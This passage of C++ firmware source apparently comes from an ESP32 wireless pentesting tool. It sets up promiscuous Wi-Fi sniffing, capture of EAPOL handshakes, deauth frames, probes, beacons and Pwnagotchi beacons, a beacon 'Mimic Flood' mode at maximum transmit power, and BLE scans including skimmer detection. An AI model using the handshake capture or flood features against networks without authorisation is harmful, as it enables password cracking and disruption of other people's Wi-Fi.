  631. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  632. #endif
  633. }
  634. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  635. sd_obj.openCapture("espressif");
  636. #ifdef HAS_SCREEN
  637. display_obj.TOP_FIXED_AREA_2 = 48;
  638. display_obj.tteBar = true;
  639. display_obj.print_delay_1 = 15;
  640. display_obj.print_delay_2 = 10;
  641. display_obj.initScrollValues(true);
  642. display_obj.tft.setTextWrap(false);
  643. display_obj.tft.setTextColor(TFT_WHITE, color);
  644. display_obj.tft.fillRect(0,16,240,16, color);
  645. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  646. display_obj.touchToExit();
  647. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  648. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  649. #endif
  650. esp_wifi_init(&cfg);
  651. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  652. esp_wifi_set_mode(WIFI_MODE_NULL);
  653. esp_wifi_start();
  654. esp_wifi_set_promiscuous(true);
  655. esp_wifi_set_promiscuous_filter(&filt);
  656. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  657. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  658. this->wifi_initialized = true;
  659. initTime = millis();
  660. }
  661. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  662. {
  663. #ifdef HAS_SCREEN
  664. display_obj.tft.init();
  665. display_obj.tft.setRotation(1);
  666. display_obj.tft.fillScreen(TFT_BLACK);
  667. #endif
  668. sd_obj.openCapture("packet_monitor");
  669. #ifdef HAS_SCREEN
  670. #ifdef TFT_SHIELD
  671. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  672. Serial.println("Using TFT Shield");
  673. #else if defined(TFT_DIY)
  674. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  675. Serial.println("Using TFT DIY");
  676. #endif
  677. display_obj.tft.setTouch(calData);
  678. //display_obj.tft.setFreeFont(1);
  679. display_obj.tft.setFreeFont(NULL);
  680. display_obj.tft.setTextSize(1);
  681. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  682. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  683. delay(10);
  684. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  685. display_obj.tftDrawColorKey();
  686. display_obj.tftDrawXScaleButtons(x_scale);
  687. display_obj.tftDrawYScaleButtons(y_scale);
  688. display_obj.tftDrawChannelScaleButtons(set_channel);
  689. display_obj.tftDrawExitScaleButtons();
  690. #endif
  691. Serial.println("Running packet scan...");
  692. esp_wifi_init(&cfg);
  693. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  694. esp_wifi_set_mode(WIFI_MODE_NULL);
  695. esp_wifi_start();
  696. esp_wifi_set_promiscuous(true);
  697. esp_wifi_set_promiscuous_filter(&filt);
  698. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  699. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  700. this->wifi_initialized = true;
  701. uint32_t initTime = millis();
  702. }
  703. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  704. {
  705. num_eapol = 0;
  706. #ifdef HAS_SCREEN
  707. display_obj.tft.init();
  708. display_obj.tft.setRotation(1);
  709. display_obj.tft.fillScreen(TFT_BLACK);
  710. #endif
  711. sd_obj.openCapture("eapol");
  712. #ifdef HAS_SCREEN
  713. #ifdef TFT_SHIELD
  714. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  715. //Serial.println("Using TFT Shield");
  716. #else if defined(TFT_DIY)
  717. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  718. //Serial.println("Using TFT DIY");
  719. #endif
  720. display_obj.tft.setTouch(calData);
  721. display_obj.tft.setFreeFont(NULL);
  722. display_obj.tft.setTextSize(1);
  723. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  724. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  725. delay(10);
  726. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  727. display_obj.tftDrawEapolColorKey();
  728. display_obj.tftDrawChannelScaleButtons(set_channel);
  729. display_obj.tftDrawExitScaleButtons();
  730. #endif
  731. wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  732. esp_wifi_init(&cfg);
  733. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  734. esp_wifi_set_mode(WIFI_MODE_NULL);
  735. esp_wifi_start();
  736. esp_wifi_set_promiscuous(true);
  737. esp_wifi_set_promiscuous_filter(&filt);
  738. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  739. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  740. this->wifi_initialized = true;
  741. initTime = millis();
  742. }
  743. // Function to prepare for beacon mimic
  744. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  745. #ifdef HAS_SCREEN
  746. display_obj.TOP_FIXED_AREA_2 = 48;
  747. display_obj.tteBar = true;
  748. display_obj.print_delay_1 = 15;
  749. display_obj.print_delay_2 = 10;
  750. display_obj.initScrollValues(true);
  751. display_obj.tft.setTextWrap(false);
  752. display_obj.tft.setTextColor(TFT_BLACK, color);
  753. display_obj.tft.fillRect(0,16,240,16, color);
  754. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  755. display_obj.touchToExit();
  756. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  757. #endif
  758. packets_sent = 0;
  759. esp_wifi_init(&cfg);
  760. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  761. esp_wifi_set_mode(WIFI_AP_STA);
  762. esp_wifi_start();
  763. esp_wifi_set_promiscuous_filter(NULL);
  764. esp_wifi_set_promiscuous(true);
  765. esp_wifi_set_max_tx_power(78);
  766. this->wifi_initialized = true;
  767. initTime = millis();
  768. }
  769. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  770. {
  771. sd_obj.openCapture("pwnagotchi");
  772. #ifdef HAS_SCREEN
  773. display_obj.TOP_FIXED_AREA_2 = 48;
  774. display_obj.tteBar = true;
  775. display_obj.print_delay_1 = 15;
  776. display_obj.print_delay_2 = 10;
  777. display_obj.initScrollValues(true);
  778. display_obj.tft.setTextWrap(false);
  779. display_obj.tft.setTextColor(TFT_WHITE, color);
  780. display_obj.tft.fillRect(0,16,240,16, color);
  781. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  782. display_obj.touchToExit();
  783. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  784. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  785. #endif
  786. esp_wifi_init(&cfg);
  787. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  788. esp_wifi_set_mode(WIFI_MODE_NULL);
  789. esp_wifi_start();
  790. esp_wifi_set_promiscuous(true);
  791. esp_wifi_set_promiscuous_filter(&filt);
  792. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  793. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  794. this->wifi_initialized = true;
  795. initTime = millis();
  796. }
  797. // Function to start running a beacon scan
  798. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  799. {
  800. sd_obj.openCapture("beacon");
  801. #ifdef HAS_SCREEN
  802. display_obj.TOP_FIXED_AREA_2 = 48;
  803. display_obj.tteBar = true;
  804. display_obj.print_delay_1 = 15;
  805. display_obj.print_delay_2 = 10;
  806. display_obj.initScrollValues(true);
  807. display_obj.tft.setTextWrap(false);
  808. display_obj.tft.setTextColor(TFT_WHITE, color);
  809. display_obj.tft.fillRect(0,16,240,16, color);
  810. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  811. display_obj.touchToExit();
  812. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  813. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  814. #endif
  815. esp_wifi_init(&cfg);
  816. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  817. esp_wifi_set_mode(WIFI_MODE_NULL);
  818. esp_wifi_start();
  819. esp_wifi_set_promiscuous(true);
  820. esp_wifi_set_promiscuous_filter(&filt);
  821. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  822. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  823. this->wifi_initialized = true;
  824. initTime = millis();
  825. }
  826. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  827. {
  828. sd_obj.openCapture("deauth");
  829. #ifdef HAS_SCREEN
  830. display_obj.TOP_FIXED_AREA_2 = 48;
  831. display_obj.tteBar = true;
  832. display_obj.print_delay_1 = 15;
  833. display_obj.print_delay_2 = 10;
  834. display_obj.initScrollValues(true);
  835. display_obj.tft.setTextWrap(false);
  836. display_obj.tft.setTextColor(TFT_BLACK, color);
  837. display_obj.tft.fillRect(0,16,240,16, color);
  838. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  839. display_obj.touchToExit();
  840. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  841. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  842. #endif
  843. esp_wifi_init(&cfg);
  844. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  845. esp_wifi_set_mode(WIFI_MODE_NULL);
  846. esp_wifi_start();
  847. esp_wifi_set_promiscuous(true);
  848. esp_wifi_set_promiscuous_filter(&filt);
  849. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  850. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  851. this->wifi_initialized = true;
  852. initTime = millis();
  853. }
  854. // Function for running probe request scan
  855. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  856. {
  857. sd_obj.openCapture("probe");
  858. #ifdef HAS_SCREEN
  859. display_obj.TOP_FIXED_AREA_2 = 48;
  860. display_obj.tteBar = true;
  861. display_obj.print_delay_1 = 15;
  862. display_obj.print_delay_2 = 10;
  863. display_obj.initScrollValues(true);
  864. display_obj.tft.setTextWrap(false);
  865. display_obj.tft.setTextColor(TFT_BLACK, color);
  866. display_obj.tft.fillRect(0,16,240,16, color);
  867. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  868. display_obj.touchToExit();
  869. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  870. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  871. #endif
  872. esp_wifi_init(&cfg);
  873. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  874. esp_wifi_set_mode(WIFI_MODE_NULL);
  875. esp_wifi_start();
  876. esp_wifi_set_promiscuous(true);
  877. esp_wifi_set_promiscuous_filter(&filt);
  878. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  879. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  880. this->wifi_initialized = true;
  881. initTime = millis();
  882. }
  883. // Function to start running any BLE scan
  884. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  885. {
  886. #ifdef HAS_BT
  887. #ifdef HAS_SCREEN
  888. display_obj.print_delay_1 = 50;
  889. display_obj.print_delay_2 = 20;
  890. #endif
  891. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  892. NimBLEDevice::setScanDuplicateCacheSize(200);
  893. NimBLEDevice::init("");
  894. pBLEScan = NimBLEDevice::getScan(); //create new scan
  895. if (scan_mode == BT_SCAN_ALL)
  896. {
  897. #ifdef HAS_SCREEN
  898. display_obj.TOP_FIXED_AREA_2 = 48;
  899. display_obj.tteBar = true;
  900. display_obj.initScrollValues(true);
  901. display_obj.tft.setTextWrap(false);
  902. display_obj.tft.setTextColor(TFT_BLACK, color);
  903. display_obj.tft.fillRect(0,16,240,16, color);
  904. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  905. display_obj.touchToExit();
  906. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  907. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  908. #endif
  909. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  910. }
  911. else if (scan_mode == BT_SCAN_SKIMMERS)
  912. {
  913. #ifdef HAS_SCREEN
  914. display_obj.TOP_FIXED_AREA_2 = 160;
  915. display_obj.tteBar = true;
  916. display_obj.tft.fillScreen(TFT_DARKGREY);
  917. display_obj.initScrollValues(true);
  918. display_obj.tft.setTextWrap(false);
  919. display_obj.tft.setTextColor(TFT_BLACK, color);
  920. display_obj.tft.fillRect(0,16,240,16, color);
  921. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  922. display_obj.twoPartDisplay(text_table4[43]);
  923. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  924. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  925. #endif
  926. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  927. }
  928. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  929. pBLEScan->setInterval(97);
  930. pBLEScan->setWindow(37); // less or equal setInterval value
  931. pBLEScan->setMaxResults(0);
  932. pBLEScan->start(0, scanCompleteCB, false);
  933. Serial.println("Started BLE Scan");
  934. this->ble_initialized = true;
  935. initTime = millis();
  936. #endif
  937. }
  938. // Function that is called when BLE scan is completed
  939. #ifdef HAS_BT
  940. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  941. printf("Scan complete!\n");
  942. printf("Found %d devices\n", scanResults.getCount());
  943. scanResults.dump();
  944. } // scanCompleteCB
  945. #endif
  946. // Function to extract MAC addr from a packet at given offset
  947. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  948. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  949. }
  950. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  951. {
  952. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  953. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  954. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  955. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  956. int len = snifferPacket->rx_ctrl.sig_len;
  957. String display_string = "";
  958. String src_addr_string = "";
  959. if (type == WIFI_PKT_MGMT)
  960. {
  961. len -= 4;
  962. }
  963. int fctl = ntohs(frameControl->fctl);
  964. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  965. const WifiMgmtHdr *hdr = &ipkt->hdr;
  966. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  967. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  968. //{
  969. char addr[] = "00:00:00:00:00:00";
  970. getMAC(addr, snifferPacket->payload, 10);
  971. src_addr_string.concat(addr);
  972. bool match = false;
  973. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  974. if (src_addr_string.startsWith(espressif_macs[i])) {
  975. match = true;
  976. break;
  977. }
  978. }
  979. if (!match)
  980. return;
  981. delay(random(0, 10));
  982. Serial.print("RSSI: ");
  983. Serial.print(snifferPacket->rx_ctrl.rssi);
  984. Serial.print(" Ch: ");
  985. Serial.print(snifferPacket->rx_ctrl.channel);
  986. Serial.print(" BSSID: ");
  987. Serial.print(addr);
  988. //display_string.concat(" RSSI: ");
  989. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  990. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  991. //display_string.concat(" ");
  992. display_string.concat(" -> ");
  993. display_string.concat(addr);
  994. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  995. {
  996. display_string.concat(" ");
  997. }
  998. Serial.print(" ");
  999. #ifdef HAS_SCREEN
  1000. display_obj.loading = true;
  1001. display_obj.display_buffer->add(display_string);
  1002. display_obj.loading = false;
  1003. #endif
  1004. Serial.println();
  1005. if (save_packet)
  1006. sd_obj.addPacket(snifferPacket->payload, len);
  1007. //}
  1008. }
  1009. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1010. {
  1011. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1012. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1013. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1014. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1015. int len = snifferPacket->rx_ctrl.sig_len;
  1016. String display_string = "";
  1017. String src = "";
  1018. String essid = "";
  1019. if (type == WIFI_PKT_MGMT)
  1020. {
  1021. len -= 4;
  1022. int fctl = ntohs(frameControl->fctl);
  1023. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1024. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1025. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1026. #ifdef HAS_SCREEN
  1027. int buf = display_obj.display_buffer->size();
  1028. #else
  1029. int buf = 0;
  1030. #endif
  1031. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1032. {
  1033. char addr[] = "00:00:00:00:00:00";
  1034. getMAC(addr, snifferPacket->payload, 10);
  1035. src.concat(addr);
  1036. if (src == "de:ad:be:ef:de:ad") {
  1037. delay(random(0, 10));
  1038. Serial.print("RSSI: ");
  1039. Serial.print(snifferPacket->rx_ctrl.rssi);
  1040. Serial.print(" Ch: ");
  1041. Serial.print(snifferPacket->rx_ctrl.channel);
  1042. Serial.print(" BSSID: ");
  1043. Serial.print(addr);
  1044. //display_string.concat(addr);
  1045. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1046. Serial.print(" ESSID: ");
  1047. display_string.concat(" -> ");
  1048. // Just grab the first 255 bytes of the pwnagotchi beacon
  1049. // because that is where the name is
  1050. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1051. for (int i = 0; i < len - 37; i++)
  1052. {
  1053. Serial.print((char)snifferPacket->payload[i + 38]);
  1054. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1055. if (isAscii(snifferPacket->payload[i + 38]))
  1056. essid.concat((char)snifferPacket->payload[i + 38]);
  1057. else
  1058. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1059. }
  1060. //essid.concat("\": \"\"}}");
  1061. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1062. // Load json
  1063. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1064. DynamicJsonDocument json(1024); // ArduinoJson v6
  1065. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1066. // ArduinoJson v6
  1067. if (deserializeJson(json, essid)) {
  1068. Serial.println("\nCould not parse Pwnagotchi json");
  1069. display_string.concat(essid);
  1070. }
  1071. else {
  1072. Serial.println("\nSuccessfully parsed json");
  1073. String json_output;
  1074. //json.printTo(json_output); // ArduinoJson v5
  1075. serializeJson(json, json_output); // ArduinoJson v6
  1076. Serial.println(json_output);
  1077. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1078. }
  1079. int temp_len = display_string.length();
  1080. for (int i = 0; i < 40 - temp_len; i++)
  1081. {
  1082. display_string.concat(" ");
  1083. }
  1084. Serial.print(" ");
  1085. #ifdef HAS_SCREEN
  1086. if (display_obj.display_buffer->size() == 0)
  1087. {
  1088. display_obj.loading = true;
  1089. display_obj.display_buffer->add(display_string);
  1090. display_obj.loading = false;
  1091. }
  1092. #endif
  1093. Serial.println();
  1094. if (save_packet)
  1095. sd_obj.addPacket(snifferPacket->payload, len);
  1096. }
  1097. }
  1098. }
  1099. }
  1100. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1101. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1102. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1103. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1104. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1105. int len = snifferPacket->rx_ctrl.sig_len;
  1106. String display_string = "";
  1107. String essid = "";
  1108. String bssid = "";
  1109. if (type == WIFI_PKT_MGMT)
  1110. {
  1111. len -= 4;
  1112. int fctl = ntohs(frameControl->fctl);
  1113. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1114. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1115. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1116. #ifdef HAS_SCREEN
  1117. int buf = display_obj.display_buffer->size();
  1118. #else
  1119. int buf = 0;
  1120. #endif
  1121. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1122. {
  1123. char addr[] = "00:00:00:00:00:00";
  1124. getMAC(addr, snifferPacket->payload, 10);
  1125. bool in_list = false;
  1126. bool mac_match = true;
  1127. for (int i = 0; i < access_points->size(); i++) {
  1128. mac_match = true;
  1129. //Serial.print("Checking ");
  1130. //Serial.print(addr);
  1131. //Serial.println(" against " + (String)access_points->get(i).essid);
  1132. for (int x = 0; x < 6; x++) {
  1133. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1134. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1135. mac_match = false;
  1136. //Serial.println("MACs do not match");
  1137. break;
  1138. }
  1139. }
  1140. if (mac_match) {
  1141. in_list = true;
  1142. break;
  1143. }
  1144. }
  1145. if (!in_list) {
  1146. delay(random(0, 10));
  1147. Serial.print("RSSI: ");
  1148. Serial.print(snifferPacket->rx_ctrl.rssi);
  1149. Serial.print(" Ch: ");
  1150. Serial.print(snifferPacket->rx_ctrl.channel);
  1151. Serial.print(" BSSID: ");
  1152. Serial.print(addr);
  1153. display_string.concat(addr);
  1154. Serial.print(" ESSID: ");
  1155. display_string.concat(" -> ");
  1156. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1157. {
  1158. Serial.print((char)snifferPacket->payload[i + 38]);
  1159. display_string.concat((char)snifferPacket->payload[i + 38]);
  1160. essid.concat((char)snifferPacket->payload[i + 38]);
  1161. }
  1162. bssid.concat(addr);
  1163. int temp_len = display_string.length();
  1164. for (int i = 0; i < 40 - temp_len; i++)
  1165. {
  1166. display_string.concat(" ");
  1167. }
  1168. Serial.print(" ");
  1169. #ifdef HAS_SCREEN
  1170. if (display_obj.display_buffer->size() == 0)
  1171. {
  1172. display_obj.loading = true;
  1173. display_obj.display_buffer->add(display_string);
  1174. display_obj.loading = false;
  1175. }
  1176. #endif
  1177. if (essid == "") {
  1178. essid = bssid;
  1179. Serial.print(essid + " ");
  1180. }
  1181. //LinkedList<char> beacon = new LinkedList<char>();
  1182. /*AccessPoint ap = {essid,
  1183. snifferPacket->rx_ctrl.channel,
  1184. {snifferPacket->payload[10],
  1185. snifferPacket->payload[11],
  1186. snifferPacket->payload[12],
  1187. snifferPacket->payload[13],
  1188. snifferPacket->payload[14],
  1189. snifferPacket->payload[15]},
  1190. false,
  1191. NULL};*/
  1192. AccessPoint ap;
  1193. ap.essid = essid;
  1194. ap.channel = snifferPacket->rx_ctrl.channel;
  1195. ap.bssid[0] = snifferPacket->payload[10];
  1196. ap.bssid[1] = snifferPacket->payload[11];
  1197. ap.bssid[2] = snifferPacket->payload[12];
  1198. ap.bssid[3] = snifferPacket->payload[13];
  1199. ap.bssid[4] = snifferPacket->payload[14];
  1200. ap.bssid[5] = snifferPacket->payload[15];
  1201. ap.selected = false;
  1202. ap.beacon = new LinkedList<char>();
  1203. //for (int i = 0; i < len; i++) {
  1204. // ap.beacon->add(snifferPacket->payload[i]);
  1205. //}
  1206. ap.beacon->add(snifferPacket->payload[34]);
  1207. ap.beacon->add(snifferPacket->payload[35]);
  1208. Serial.print("\nBeacon: ");
  1209. for (int i = 0; i < ap.beacon->size(); i++) {
  1210. char hexCar[4];
  1211. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1212. Serial.print(hexCar);
  1213. if ((i + 1) % 16 == 0)
  1214. Serial.print("\n");
  1215. else
  1216. Serial.print(" ");
  1217. }
  1218. access_points->add(ap);
  1219. Serial.print(access_points->size());
  1220. Serial.println();
  1221. if (save_packet)
  1222. sd_obj.addPacket(snifferPacket->payload, len);
  1223. }
  1224. }
  1225. }
  1226. }
  1227. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1228. {
  1229. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1230. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1231. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1232. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1233. int len = snifferPacket->rx_ctrl.sig_len;
  1234. String display_string = "";
  1235. String essid = "";
  1236. String bssid = "";
  1237. if (type == WIFI_PKT_MGMT)
  1238. {
  1239. len -= 4;
  1240. int fctl = ntohs(frameControl->fctl);
  1241. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1242. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1243. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1244. #ifdef HAS_SCREEN
  1245. int buf = display_obj.display_buffer->size();
  1246. #else
  1247. int buf = 0;
  1248. #endif
  1249. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1250. {
  1251. char addr[] = "00:00:00:00:00:00";
  1252. getMAC(addr, snifferPacket->payload, 10);
  1253. bool in_list = false;
  1254. bool mac_match = true;
  1255. for (int i = 0; i < access_points->size(); i++) {
  1256. mac_match = true;
  1257. //Serial.print("Checking ");
  1258. //Serial.print(addr);
  1259. //Serial.println(" against " + (String)access_points->get(i).essid);
  1260. for (int x = 0; x < 6; x++) {
  1261. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1262. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1263. mac_match = false;
  1264. //Serial.println("MACs do not match");
  1265. break;
  1266. }
  1267. }
  1268. if (mac_match) {
  1269. in_list = true;
  1270. break;
  1271. }
  1272. }
  1273. if (!in_list) {
  1274. delay(random(0, 10));
  1275. Serial.print("RSSI: ");
  1276. Serial.print(snifferPacket->rx_ctrl.rssi);
  1277. Serial.print(" Ch: ");
  1278. Serial.print(snifferPacket->rx_ctrl.channel);
  1279. Serial.print(" BSSID: ");
  1280. Serial.print(addr);
  1281. display_string.concat(addr);
  1282. Serial.print(" ESSID: ");
  1283. display_string.concat(" -> ");
  1284. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1285. {
  1286. Serial.print((char)snifferPacket->payload[i + 38]);
  1287. display_string.concat((char)snifferPacket->payload[i + 38]);
  1288. essid.concat((char)snifferPacket->payload[i + 38]);
  1289. }
  1290. bssid.concat(addr);
  1291. int temp_len = display_string.length();
  1292. for (int i = 0; i < 40 - temp_len; i++)
  1293. {
  1294. display_string.concat(" ");
  1295. }
  1296. Serial.print(" ");
  1297. #ifdef HAS_SCREEN
  1298. if (display_obj.display_buffer->size() == 0)
  1299. {
  1300. display_obj.loading = true;
  1301. display_obj.display_buffer->add(display_string);
  1302. display_obj.loading = false;
  1303. }
  1304. #endif
  1305. if (essid == "") {
  1306. essid = bssid;
  1307. Serial.print(essid + " ");
  1308. }
  1309. AccessPoint ap = {essid,
  1310. snifferPacket->rx_ctrl.channel,
  1311. {snifferPacket->payload[10],
  1312. snifferPacket->payload[11],
  1313. snifferPacket->payload[12],
  1314. snifferPacket->payload[13],
  1315. snifferPacket->payload[14],
  1316. snifferPacket->payload[15]},
  1317. false,
  1318. NULL};
  1319. access_points->add(ap);
  1320. Serial.print(access_points->size());
  1321. Serial.println();
  1322. if (save_packet)
  1323. sd_obj.addPacket(snifferPacket->payload, len);
  1324. }
  1325. }
  1326. }
  1327. }
  1328. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1329. {
  1330. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1331. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1332. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1333. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1334. int len = snifferPacket->rx_ctrl.sig_len;
  1335. String display_string = "";
  1336. if (type == WIFI_PKT_MGMT)
  1337. {
  1338. len -= 4;
  1339. int fctl = ntohs(frameControl->fctl);
